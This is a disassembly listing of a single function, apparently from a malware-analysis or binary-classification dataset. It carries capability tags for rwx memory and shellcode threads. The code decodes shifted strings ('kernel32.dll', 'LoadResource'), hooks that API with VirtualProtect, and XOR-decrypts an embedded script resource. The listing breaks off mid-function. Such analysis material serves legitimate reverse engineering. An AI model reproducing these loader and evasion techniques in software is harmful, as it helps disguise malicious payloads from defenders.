Function at 0x417b10
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get keyboard layout
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x49803b
push eax
mov eax, 0xe2dc
mov dword fs:[0], esp
call fcn.00492d90
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], ecx
push ebx
push esi
push edi
test eax, eax
je 0x417d69
cmp byte [eax], 0
je 0x417d69
mov eax, dword [0x4b0890]
mov dword [ebp - 0x74], eax
test eax, eax
jne 0x417b63
mov eax, dword [ecx + 0x5fc]
mov dword [0x4afbb8], eax
movq xmm0, qword [str.pjwsjq873iqq]
lea eax, [ebp - 0xa2dc]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x58], eax
lea esi, [ecx + 1]
lea eax, [ebp - 0xe2e4]
movq qword [ebp - 0x9c], xmm0
movq xmm0, qword [str.QtfiWjxtzwhj]
xor edx, edx
mov dword [ebp - 0x24], eax
mov eax, dword [0x4a1b94]
mov dword [ebp - 0x94], eax
mov al, byte [0x4a1b98]
mov byte [ebp - 0x90], al
mov eax, dword [0x4a1ba4]
mov dword [ebp - 0xd4], eax
mov al, byte [0x4a1ba8]
mov byte [ebp - 0x4394], 0
movq qword [ebp - 0xdc], xmm0
mov byte [ebp - 0xd0], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417bd6
sub ecx, esi
test cl, cl
jle 0x417c20
jmp 0x417bf0
add byte [ebp + edx - 0x9c], 0xfb
lea ecx, [ebp - 0x9c]
add byte [ebp + edx - 0xdc], 0xfb
lea esi, [ecx + 1]
inc edx
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417c10
sub ecx, esi
movsx eax, cl
cmp edx, eax
jl 0x417bf0
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xffffffffffffffff
push dword [0x4afb94]
mov dword [0x4afba0], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov word [ebp - 0x48], ax
cmp dword [0x4aee84], eax
jne 0x417cd2
cmp dword [0x4aee80], eax
jne 0x417cd2
push eax
push dword [0x4b08f0]
push 6
push dword [0x4afba0]
call ebx
mov edi, dword [0x4afba0]
lea ecx, [ebp - 0x48]
mov eax, dword [0x4afb98]
lea esi, [ecx + 1]
xor edx, edx
mov dword [edi], eax
mov ax, word [0x4afb9c]
mov word [edi + 4], ax
mov eax, 0xa
mov word [ebp - 0x50], ax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417ca3
sub ecx, esi
test cl, cl
jle 0x417cd8
mov al, byte [ebp + edx - 0x50]
lea ecx, [ebp - 0x48]
mov byte [ebp + edx - 0x48], al
lea esi, [ecx + 1]
inc edx
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417cc0
sub ecx, esi
movsx eax, cl
cmp edx, eax
jl 0x417cb0
jmp 0x417cd8
mov edi, dword [0x4afba0]
push 0x4afba4
push 0x40
push 6
push edi
call ebx
mov ecx, dword [0x4afba0]
push 0
mov eax, dword [ecx]
mov dword [0x4afb98], eax
movzx eax, word [ecx + 4]
mov word [0x4afb9c], ax
mov eax, dword [0x4b0894]
mov dword [ecx], eax
movzx eax, word [0x4b0898]
mov word [ecx + 4], ax
push dword [0x4afba4]
push 6
push ecx
call ebx
push 0xa
push 0x4a3e34
push dword [0x4af0ec]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
mov byte [ebp - 0x80], 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x417d7e
sub esp, 8
xorps xmm0, xmm0
xor edx, edx
mov ecx, str.Could_not_extract_script_from_EXE.
movsd qword [esp], xmm0
push eax
push dword [ebp + 8]
call fcn.00477510
add esp, 0x10
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
push dword [0x4af0ec]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0
push 0
push 0x401bc0
push 0
push 0
mov dword [ebp - 0x84], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
test edi, edi
je 0x417db5
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
push dword [0x4af0ec]
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea ecx, [ebp - 0x9c]
mov dword [ebp + 8], eax
xor edx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417dd0
sub ecx, esi
test cl, cl
jle 0x417e10
lea ecx, [ecx]
add byte [ebp + edx - 0x9c], 5
lea ecx, [ebp - 0x9c]
add byte [ebp + edx - 0xdc], 5
lea esi, [ecx + 1]
inc edx
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417e00
sub ecx, esi
movsx eax, cl
cmp edx, eax
jl 0x417de0
cmp dword [0x4aee84], 0
je 0x417e26
cmp dword [0x4aee80], 0
je 0x417e26
test edi, edi
jne 0x417e3f
cld
mov esi, 1
mov ecx, 2
xor eax, eax
movzx ebx, byte [esi]
add eax, ebx
rol eax, 1
inc esi
loop 0x417e33
mov esi, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp dword [0x4aee84], 0
mov dword [ebp - 0x88], eax
je 0x417e64
cmp dword [0x4aee80], 0
je 0x417e64
test edi, edi
jne 0x417e7d
cld
mov esi, 1
mov ecx, 2
xor eax, eax
movzx ebx, byte [esi]
add eax, ebx
rol eax, 1
inc esi
loop 0x417e71
mov esi, eax
lea ecx, [ebp - 0x13c]
call fcn.00416200
push 0xfde9
push 0xc
lea eax, [ebp - 0x88]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x13c]
call fcn.004706d0
mov eax, dword [ebp - 0x84]
inc eax
push eax
call fcn.00486c6d
add esp, 4
lea ecx, [ebp - 0x13c]
mov edi, eax
mov dword [ebp - 0xa0], edi
push 0
push dword [ebp - 0x84]
push edi
call fcn.00470850
mov ecx, dword [ebp - 0x134]
test ecx, ecx
je 0x417f07
cmp dword [ebp - 0x110], 0
jne 0x417f07
mov eax, dword [ebp - 0x13c]
push ecx
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x13c]
call dword [eax + 0x10]
mov dword [ebp - 0x134], 0
mov eax, dword [ebp - 0x13c]
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x114], 0
call dword [eax + 8]
mov esi, dword [ebp - 0x84]
xor edx, edx
xor ecx, ecx
mov eax, 1
test esi, esi
je 0x417f71
mov ebx, dword [ebp + 8]
cmp eax, 1
jne 0x417f41
movsx ebx, byte [ecx + edi]
mov dword [ebp + 8], ebx
jmp 0x417f6b
cmp eax, 2
jne 0x417f52
movsx ebx, byte [ecx + edi]
mov dword [ebp - 0x7c], ebx
mov ebx, dword [ebp + 8]
jmp 0x417f6b
cmp eax, 3
jne 0x417f6b
mov al, byte [ecx + edi]
xor al, bl
xor al, byte [ebp - 0x7c]
mov byte [edx + edi], al
xor eax, eax
mov esi, dword [ebp - 0x84]
inc edx
inc ecx
inc eax
cmp ecx, esi
jb 0x417f33
mov edi, dword [ebp - 0x88]
xor ecx, ecx
cmp dword [edi], ecx
je 0x417f89
mov eax, edi
nop
lea eax, [eax + 4]
inc ecx
cmp dword [eax], 0
jne 0x417f80
sub ecx, 0x28
test ecx, ecx
jle 0x417f94
xor eax, eax
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0xa0]
lea ecx, [ebp - 0x13c]
push 0xfde9
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push 0xc
push eax
mov dword [ebp - 0x84], edx
call fcn.004706d0
mov ebx, dword [ebp - 0x1c]
lea ecx, [ebp - 0xa2dc]
inc dword [0x4b0890]
xor al, al
mov byte [ebp + 0xb], al
mov byte [ebp - 0x33], al
mov byte [ebp - 0x36], al
mov eax, dword [ebp - 0x74]
mov dword [ebx + 0x16c], eax
lea eax, [ebp - 0x13c]
push eax
push 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x4c], 0xffffffff
call fcn.00419f40
push 2
mov edi, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0xa2dc]
push 0x4a1bd4
push eax
call fcn.00487d0f
add esp, 0xc
test eax, eax
sete al
mov byte [ebp - 0x12], al
test al, al
je 0x41803b
xor edi, edi
mov byte [ebp - 0xa2dc], 0
mov dword [ebp - 0x28], edi
mov eax, dword [ebp + 8]
lea esi, [ebp - 0xa2dc]
mov dword [ebp - 0x60], eax
xorps xmm0, xmm0
mov al, byte [ebp + 0xb]
mov byte [ebp - 0x11], al
mov eax, dword [ebp + 8]
mov dword [ebp - 0x54], eax
mov al, byte [ebp + 0xb]
movsd qword [ebp - 0x144], xmm0
mov byte [ebp - 0x13], al
cmp edi, 0xffffffff
je 0x419c34
mov eax, dword [ebp - 0x4c]
push 0xc
inc eax
mov dword [ebx + 0x370], 0
push str.CommentFlag
push esi
mov dword [ebx + 0x170], eax
call fcn.0048616d
add esp, 0xc
test eax, eax
jne 0x4180a5
push esi
mov ecx, ebx
call fcn.0041a0d0
test eax, eax
je 0x419c8e
mov byte [ebp - 0xac], 0
xor ebx, ebx
mov al, byte [ebp - 0x12]
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x4c]
inc ecx
mov dword [ebp - 0x4c], ecx
test edx, edx
je 0x4181c3
lea eax, [ebp - 0x13c]
mov ecx, edx
push eax
push ebx
call fcn.00419f40
mov edi, eax
mov dword [ebp - 0x2c], edi
test edi, edi
je 0x4181b8
cmp edi, 0xffffffff
je 0x4181b8
test ebx, ebx
jne 0x4181b8
push 2
push 0x4a1be8
push dword [ebp - 0x24]
call fcn.00487d0f
mov edx, dword [ebp - 0x24]
add esp, 0xc
test eax, eax
mov al, byte [ebp - 0x12]
jne 0x4181ab
test al, al
jne 0x418120
cmp byte [edx + 2], 0x3a
jne 0x418120
cmp byte [edx + 3], 0x3a
je 0x41818d
xor al, al
sub edi, 2
mov byte [ebp - 0x12], al
lea eax, [edi + 1]
push eax
lea eax, [edx + 2]
push eax
push edx
call fcn.00486480
mov edx, dword [ebp - 0x24]
add esp, 0xc
cmp byte [edx], 0
jne 0x418145
xor edi, edi
jmp 0x418185
mov ecx, edx
mov al, byte [ecx]
cmp al, 0x20
je 0x418151
cmp al, 9
jne 0x418154
inc ecx
jmp 0x418147
mov eax, ecx
sub eax, edx
je 0x418185
cmp edi, 0xffffffff
jne 0x418172
mov edi, ecx
lea edx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x418164
sub edi, edx
mov edx, dword [ebp - 0x24]
jmp 0x418174
sub edi, eax
lea eax, [edi + 1]
push eax
push ecx
push edx
call fcn.00486480
mov edx, dword [ebp - 0x24]
add esp, 0xc
cmp byte [edx], 0
mov dword [ebp - 0x2c], edi
je 0x4181b0
push 2
push 0x4a1bd4
push edx
call fcn.00487d0f
add esp, 0xc
test eax, eax
jne 0x4181b8
mov al, 1
mov byte [ebp - 0x12], al
jmp 0x4180b1
test al, al
je 0x41818d
nop
mov al, byte [ebp - 0x12]
jmp 0x4180b4
mov edx, dword [ebp - 0x24]
mov al, byte [ebp - 0x12]
mov ecx, dword [ebp - 0x4c]
jmp 0x4181c9
or edi, 0xffffffff
mov dword [ebp - 0x2c], edi
test al, al
je 0x4181db
cmp edi, 0xffffffff
jne 0x4180b7
jmp 0x418881
test ebx, ebx
jne 0x41861f
cmp edi, 0xffffffff
je 0x4183a2
cmp byte [edx], 0x28
jne 0x4183a2
cmp byte [edx + 1], 0x3a
lea esi, [edx + 1]
je 0x41839f
cmp byte [edi + edx - 1], 0x3a
je 0x41839f
mov al, byte [0x4af0fe]
mov ebx, 1
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0xa4], 0
mov byte [ebp - 0x40], al
mov byte [ebp - 0x42], bl
mov byte [ebp - 0x3e], 0
mov byte [ebp - 0x3f], 0
mov byte [ebp - 0x3d], bl
mov word [ebp - 0xf0], 0xa
mov dword [ebp - 0x68], ebx
mov al, byte [esi]
cmp al, 0x20
je 0x41824b
cmp al, 9
jne 0x41824e
inc esi
jmp 0x418241
cmp byte [esi], 0
je 0x41838d
mov dl, byte [esi]
mov edi, esi
test dl, dl
je 0x41827b
nop
mov ecx, 0x4a0c84
mov al, 0x20
cmp dl, al
je 0x41828c
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x418267
mov dl, byte [edi + 1]
inc edi
test dl, dl
jne 0x418260
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418280
sub ecx, edx
lea edi, [ecx + esi]
mov bl, byte [edi]
push 4
push str.Join
push esi
mov byte [edi], 0
call fcn.0048616d
add esp, 0xc
test eax, eax
jne 0x4182f1
push 0xf
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.00488ae0
add esp, 0xc
mov byte [ebp - 0xe1], 0
lea ecx, [ebp - 0xf0]
push 1
call fcn.00474df0
lea edx, [ebp - 0xf0]
add esp, 4
lea ecx, [edx + 1]
lea ebx, [ebx]
mov al, byte [edx]
inc edx
test al, al
jne 0x4182e0
sub edx, ecx
mov dword [ebp - 0x68], edx
jmp 0x41836d
push 5
push 0x4a1c44
push esi
call fcn.0048616d
add esp, 0xc
test eax, eax
jne 0x41830f
cmp byte [esi + 5], 0x30
setne byte [ebp - 0x40]
jmp 0x41836d
push 5
push str.RTrim
push esi
call fcn.0048616d
add esp, 0xc
test eax, eax
jne 0x41832d
cmp byte [esi + 5], 0x30
setne byte [ebp - 0x42]
jmp 0x41836d
mov al, byte [esi]
test al, al
je 0x41836d
movsx eax, al
add eax, 0xffffffdb
cmp eax, 0x3e
ja case.0x418345.38
movzx eax, byte [eax + 0x419d40]
jmp dword [eax*4 + 0x419d28]
mov byte [ebp - 0x3e], 1
jmp case.0x418345.38
mov byte [ebp - 0x3f], 1
jmp case.0x418345.38
mov byte [ebp - 0x3d], 0
jmp case.0x418345.38
mov dword [ebp - 0x3c], 2
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x418333
mov byte [edi], bl
mov esi, edi
mov al, byte [esi]
cmp al, 0x20
je 0x41837b
cmp al, 9
jne 0x41837e
inc esi
jmp 0x418371
cmp byte [esi], 0
jne 0x418257
mov ebx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x18]
mov al, byte [ebp - 0x12]
mov byte [ebp - 0xac], 1
jmp 0x4180b4
mov esi, dword [ebp - 0x18]
xor ebx, ebx
mov dword [ebp - 0x3c], ebx
cmp edi, 0xffffffff
je 0x418881
test edi, edi
je 0x4180b7
cmp byte [edi + edx - 1], 0x3a
jne 0x4183c8
cmp byte [edx], 0x2c
jne 0x418881
mov bl, byte [edx]
movzx eax, bl
test eax, 0xffffff80
jne 0x4183e6
push 2
push eax
call fcn.0048708c
add esp, 8
test eax, eax
je 0x4183e6
and bl, 0xdf
mov esi, dword [ebp - 0x24]
mov al, bl
cmp al, 0x41
je 0x4185dd
cmp al, 0x4f
je 0x41856f
mov al, byte [esi]
cmp al, 0x3a
je 0x418409
cmp al, 0x2b
je 0x418409
cmp al, 0x2d
jne 0x418412
cmp byte [esi + 1], al
je 0x418881
movsx eax, al
push eax
push str.____:.___
call fcn.00486ac4
add esp, 8
test eax, eax
je 0x418881
push 0x4a1c10
push esi
call fcn.00486b76
mov edi, eax
add esp, 8
test edi, edi
je 0x4184e9
cmp byte [esi], 0x3a
jne 0x41849e
mov cl, byte [esi + 1]
inc esi
test cl, cl
je 0x418492
cmp cl, 0x3a
je 0x418881
movzx eax, cl
test eax, 0xffffff80
jne 0x418475
push 0x107
push eax
call fcn.0048708c
add esp, 8
test eax, eax
jne 0x41848a
movsx eax, byte [esi]
push eax
push 0x4a1c14
call fcn.00486ac4
add esp, 8
test eax, eax
je 0x41849b
mov cl, byte [esi + 1]
inc esi
test cl, cl
jne 0x418450
cmp byte [esi], 0x3a
je 0x418881
mov esi, dword [ebp - 0x24]
cmp byte [esi], 0x2c
jne 0x41852a
mov al, byte [esi + 1]
inc esi
cmp al, 0x20
je 0x4184a7
cmp al, 9
je 0x4184a7
push 2
push 0x4a1c10
push esi
call fcn.00487d0f
add esp, 0xc
test eax, eax
je 0x418881
push 3
lea eax, [esi - 1]
push 0x4a0c7c
push eax
call fcn.00487d0f
add esp, 0xc
test eax, eax
je 0x418881
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x28]
lea eax, [edi + ebx]
cmp eax, 0x4000
jae 0x419ae8
cmp byte [esi], 0x2c
mov esi, dword [ebp - 0x18]
je 0x41850a
mov byte [ebx + esi], 0x20
inc ebx
lea eax, [edi + 1]
push eax
push dword [ebp - 0x24]
lea eax, [ebx + esi]
push eax
call fcn.0048e4b0
add esp, 0xc
add ebx, edi
mov dword [ebp - 0x28], ebx
mov ebx, dword [ebp - 0x3c]
jmp 0x4180ae
mov eax, esi
cmp esi, edi
jae 0x41853a
cmp byte [eax], 0x22
je 0x41853a
inc eax
cmp eax, edi
jb 0x418530
cmp eax, edi
je 0x418881
mov al, byte [edi + 2]
lea ecx, [edi + 2]
test al, al
je 0x418881
cmp al, 0x22
je 0x418561
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x418550
jmp 0x418881
cmp byte [ecx], 0
je 0x418881
jmp 0x4184e9
movzx ebx, byte [esi + 1]
test ebx, 0xffffff80
jne 0x41858d
push 2
push ebx
call fcn.0048708c
add esp, 8
test eax, eax
je 0x41858d
and ebx, 0xffffffdf
cmp bl, 0x52
jne 0x418881
mov cl, byte [esi + 2]
lea eax, [esi + 2]
cmp cl, 0x20
je 0x4185b0
cmp cl, 9
je 0x4185b0
cmp cl, 0xa0
jne 0x418881
nop
mov cl, byte [eax]
cmp cl, 0x20
je 0x4185bc
cmp cl, 9
jne 0x4185bf
inc eax
jmp 0x4185b0
movsx eax, byte [eax]
push eax
push str.____:
call fcn.00486ac4
add esp, 8
test eax, eax
jne 0x418881
jmp 0x4184ec
push 3
push 0x4a1bec
push esi
call fcn.0048616d
add esp, 0xc
test eax, eax
jne 0x418881
mov cl, byte [esi + 3]
lea eax, [esi + 3]
cmp cl, 0x20
je 0x418610
cmp cl, 9
je 0x418610
cmp cl, 0xa0
jne 0x418881
mov edi, edi
mov cl, byte [eax]
cmp cl, 0x20
je 0x41861c
cmp cl, 9
jne 0x4185bf
inc eax
jmp 0x418610
cmp edi, 0xffffffff
je 0x419c1f
cmp edi, 0xfffffffe
je 0x4180b7
mov al, byte [edx]
cmp al, 0x29
jne 0x41868c
xor ebx, ebx
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x418640
mov edi, dword [ebp - 0x24]
sub edx, ecx
lea eax, [edi - 1]
add eax, edx
mov cl, byte [eax]
cmp cl, 0x20
je 0x41865d
cmp cl, 9
jne 0x418665
cmp eax, edi
je 0x418672
dec eax
dec edx
jmp 0x418651
inc edi
mov byte [eax + 1], bl
dec edx
mov dword [ebp - 0x2c], edx
jmp 0x418804
mov cl, byte [eax]
cmp cl, 0x20
je 0x41867e
cmp cl, 9
jne 0x418682
mov byte [eax], bl
xor edx, edx
inc edi
dec edx
mov dword [ebp - 0x2c], edx
jmp 0x418804
cmp byte [ebp - 0x42], 0
mov edi, edx
je 0x4186df
test al, al
jne 0x41869f
xor esi, esi
mov dword [ebp - 0x2c], esi
jmp 0x4186e2
mov esi, dword [ebp - 0x2c]
lea eax, [esi - 1]
add eax, edx
mov cl, byte [eax]
cmp cl, 0x20
je 0x4186b3
cmp cl, 9
jne 0x4186bb
cmp eax, edx
je 0x4186c4
dec eax
dec esi
jmp 0x4186a7
mov byte [eax + 1], 0
mov dword [ebp - 0x2c], esi
jmp 0x4186e2
mov cl, byte [eax]
cmp cl, 0x20
je 0x4186d5
cmp cl, 9
je 0x4186d5
mov dword [ebp - 0x2c], esi
jmp 0x4186e2
xor esi, esi
mov byte [eax], 0
mov dword [ebp - 0x2c], esi
jmp 0x4186e2
mov esi, dword [ebp - 0x2c]
cmp byte [ebp - 0x40], 0
je 0x418734
cmp byte [edx], 0
jne 0x4186f4
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x418734
mov ecx, edx
mov al, byte [ecx]
cmp al, 0x20
je 0x418700
cmp al, 9
jne 0x418703
inc ecx
jmp 0x4186f6
mov eax, ecx
sub eax, edx
je 0x418731
cmp esi, 0xffffffff
jne 0x418721
mov esi, ecx
lea edx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x418713
sub esi, edx
mov edx, dword [ebp - 0x24]
jmp 0x418723
sub esi, eax
lea eax, [esi + 1]
push eax
push ecx
push edx
call fcn.00486480
add esp, 0xc
mov dword [ebp - 0x2c], esi
xor esi, esi
cmp byte [ebp - 0x3e], 0
je 0x418769
mov al, byte [str.___e]
lea edx, [ebp - 0x34]
mov ecx, dword [ebp - 0x24]
push esi
push esi
push 0x4001
push 0xffffffffffffffff
mov byte [ebp - 0x34], al
mov byte [ebp - 0x38], al
mov byte [ebp - 0x37], al
lea eax, [ebp - 0x38]
push 1
push eax
call fcn.00473290
add esp, 0x18
mov esi, eax
cmp byte [ebp - 0x3f], 0
je 0x4187a5
mov dl, byte [0x4ac62e]
lea eax, [ebp - 0x38]
mov cl, byte [str.___e]
push 0
push 0
push 0x4001
push 0xffffffffffffffff
mov byte [ebp - 0x34], dl
mov byte [ebp - 0x38], cl
mov ecx, dword [ebp - 0x24]
mov byte [ebp - 0x37], dl
lea edx, [ebp - 0x34]
push 1
push eax
call fcn.00473290
add esp, 0x18
add esi, eax
cmp byte [ebp - 0x3d], 0
je 0x4187e0
mov al, byte [str.___e]
lea edx, [ebp - 0x34]
mov cl, byte [0x4ac62f]
push 0
push 0
push 0x4001
push 0xffffffffffffffff
mov byte [ebp - 0x38], al
lea eax, [ebp - 0x38]
mov byte [ebp - 0x34], cl
mov byte [ebp - 0x37], cl
mov ecx, dword [ebp - 0x24]
push 1
push eax
call fcn.00473290
add esp, 0x18
add esi, eax
test esi, esi
je 0x4187fe
mov edx, dword [ebp - 0x24]
lea ecx, [edx + 1]
lea ebx, [ebx]
mov al, byte [edx]
inc edx
test al, al
jne 0x4187f0
sub edx, ecx
mov dword [ebp - 0x2c], edx
jmp 0x418801
mov edx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x28]
add eax, edx
add eax, ecx
cmp eax, 0x4001
jae 0x419c0a
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp eax, 1
jle 0x418858
mov eax, dword [ebp - 0x68]
test eax, eax
je 0x418858
cmp edi, dword [ebp - 0x24]
jne 0x418858
inc eax
push eax
lea eax, [ebp - 0xf0]
push eax
lea eax, [ecx + esi]
push eax
call fcn.0048e4b0
mov ecx, dword [ebp - 0x28]
add esp, 0xc
add ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x28], ecx
mov al, byte [ebp - 0x12]
test edx, edx
je 0x4180b1
lea eax, [edx + 1]
push eax
lea eax, [ecx + esi]
push edi
push eax
call fcn.0048e4b0
mov eax, dword [ebp - 0x2c]
add esp, 0xc
add dword [ebp - 0x28], eax
jmp 0x4180ae
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x28]
lea ebx, [ebx]
test edx, edx
je 0x418dae
cmp byte [ebp - 0x4394], 0
je 0x418a07
mov esi, dword [edi + 0x170]
mov eax, dword [ebp - 0x64]
mov dword [edi + 0x170], eax
cmp byte [ebx], 0x7b
je 0x418900
cmp byte [ebp - 0x1d], 0
jne 0x418900
cmp dword [ebp - 0x5c], 0
jne 0x419b27
cmp dword [edi + 0x48], 0
je 0x4188e1
mov eax, dword [0x4ac1d8]
cmp dword [eax + 0x94], 0
je 0x419afd
push 0
push 0
push 0
push 0
push 0
push 3
lea eax, [ebp - 0x4394]
mov ecx, edi
push eax
call fcn.0041b520
jmp 0x418997
mov eax, dword [ebp - 0x5c]
sub eax, 0
je 0x418953
dec eax
je 0x418934
dec eax
jne 0x4189a9
lea eax, [ebp - 0x4394]
mov ecx, edi
push eax
call fcn.0041fc40
test eax, eax
je 0x419c8e
mov byte [ebp - 0x4394], 0
jmp 0x4189b6
lea eax, [ebp - 0x4394]
mov ecx, edi
push eax
call fcn.0041f700
test eax, eax
je 0x419c8e
mov byte [ebp - 0x4394], 0
jmp 0x4189b6
mov eax, dword [0x4ac1d8]
mov ecx, edi
cmp dword [eax + 0x94], 0
jne 0x419b41
lea eax, [ebp - 0x62d4]
push eax
lea eax, [ebp - 0x4394]
push eax
call fcn.0041eea0
test eax, eax
je 0x419c8e
cmp byte [ebp - 0x1d], 0
je 0x4189a9
push 0
push 0
push 0
push 0x73
mov ecx, edi
call fcn.0041d740
test eax, eax
je 0x419c8e
mov dword [edi + 0x370], 0
cmp dword [ebp - 0x5c], 0
mov byte [ebp - 0x4394], 0
je 0x418a01
cmp byte [ebp - 0x1d], 0
jne 0x418a01
lea ecx, [ebx + 1]
nop
mov al, byte [ecx]
cmp al, 0x20
je 0x4189ca
cmp al, 9
jne 0x4189cd
inc ecx
jmp 0x4189c0
cmp byte [ecx], 0
je 0x418da8
mov ebx, ecx
lea edx, [ebx + 1]
jmp 0x4189e0
mov al, byte [ebx]
inc ebx
test al, al
jne 0x4189e0
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x18]
sub eax, edx
mov dword [ebp - 0x28], eax
inc eax
push eax
push ecx
push ebx
call fcn.00486480
add esp, 0xc
mov dword [edi + 0x170], esi
cmp byte [ebx], 0x7d
jne 0x418ad3
mov ecx, dword [edi + 0x48]
test ecx, ecx
je 0x418ad3
mov eax, dword [0x4ac1d8]
cmp dword [eax + 0x94], 0
jne 0x418ad3
cmp dword [edi + 0x164], 0
je 0x418a5f
mov eax, dword [edi + 0x168]
mov dword [edi + 0x164], 0
test eax, eax
je 0x418a93
push eax
call fcn.004858b4
add esp, 4
mov dword [edi + 0x168], 0
jmp 0x418a93
dec ecx
mov dword [edi + 0x48], ecx
mov ecx, dword [edi + ecx*4 + 0x4c]
call fcn.0046c4d0
mov eax, dword [edi + 0x48]
mov eax, dword [edi + eax*4 + 0x4c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea esi, [edi + 0x60]
push 0x2e
push esi
call fcn.00487e3e
add esp, 8
test eax, eax
je 0x418a90
mov byte [eax], 0
jmp 0x418a93
mov byte [esi], 0
inc ebx
mov dword [ebp - 0x18], ebx
mov al, byte [ebx]
cmp al, 0x20
je 0x418aa1
cmp al, 9
jne 0x418aa4
inc ebx
jmp 0x418a97
cmp byte [ebx], 0
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x58], ebx
je 0x418dae
mov edx, ebx
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x418ab8
sub edx, ecx
mov dword [edi + 0x370], 0
mov dword [ebp - 0x28], edx
jmp 0x418890
cmp dword [edi + 0x164], 0
je 0x418b93
mov eax, dword [0x4ac1d8]
cmp dword [eax + 0x94], 0
jne 0x418b93
push 3
push 0x4a1cc4
push ebx
call fcn.0048616d
add esp, 0xc
test eax, eax
je 0x418b1e
push 3
push 0x4a1cc8
push ebx
call fcn.0048616d
add esp, 0xc
test eax, eax
jne 0x419b59
lea esi, [ebx + 3]
mov al, byte [esi]
cmp al, 0x20
je 0x418b2b
cmp al, 9
jne 0x418b2e
inc esi
jmp 0x418b21
mov al, byte [esi]
test al, al
je 0x418b46
cmp al, 0x7b
jne 0x419b59
cmp byte [esi + 1], 0
jne 0x419b59
mov ecx, dword [edi + 0x168]
lea edx, [ebp - 0x4394]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x418b54
lea eax, [ebp - 0x4394]
push 0x2e
push eax
call fcn.00486ac4
mov cl, byte [ebx]
add esp, 8
mov dword [ebp - 0x5c], 0
mov byte [eax + 1], cl
cmp byte [esi], 0x7b
mov eax, dword [edi + 0x170]
mov dword [ebp - 0x64], eax
sete byte [ebp - 0x1d]
jmp 0x418dae
lea edx, [ebp - 0x1d]
mov ecx, ebx
call fcn.004179b0
test al, al
je 0x418bd2
lea edx, [ebp - 0x4394]
mov ecx, ebx
sub edx, ebx
jmp 0x418bb0
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x418bb0
mov eax, dword [edi + 0x170]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x5c], 0
jmp 0x418dae
mov eax, dword [0x4ac1d8]
cmp dword [eax + 0x94], 0
jne 0x418eec
lea edx, [ebp - 0x1d]
mov ecx, ebx
call fcn.00417a70
mov ecx, eax
test ecx, ecx
je 0x418c22
lea edx, [ebp - 0x4394]
sub edx, ecx
lea esp, [esp]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x418c00
mov eax, dword [edi + 0x170]
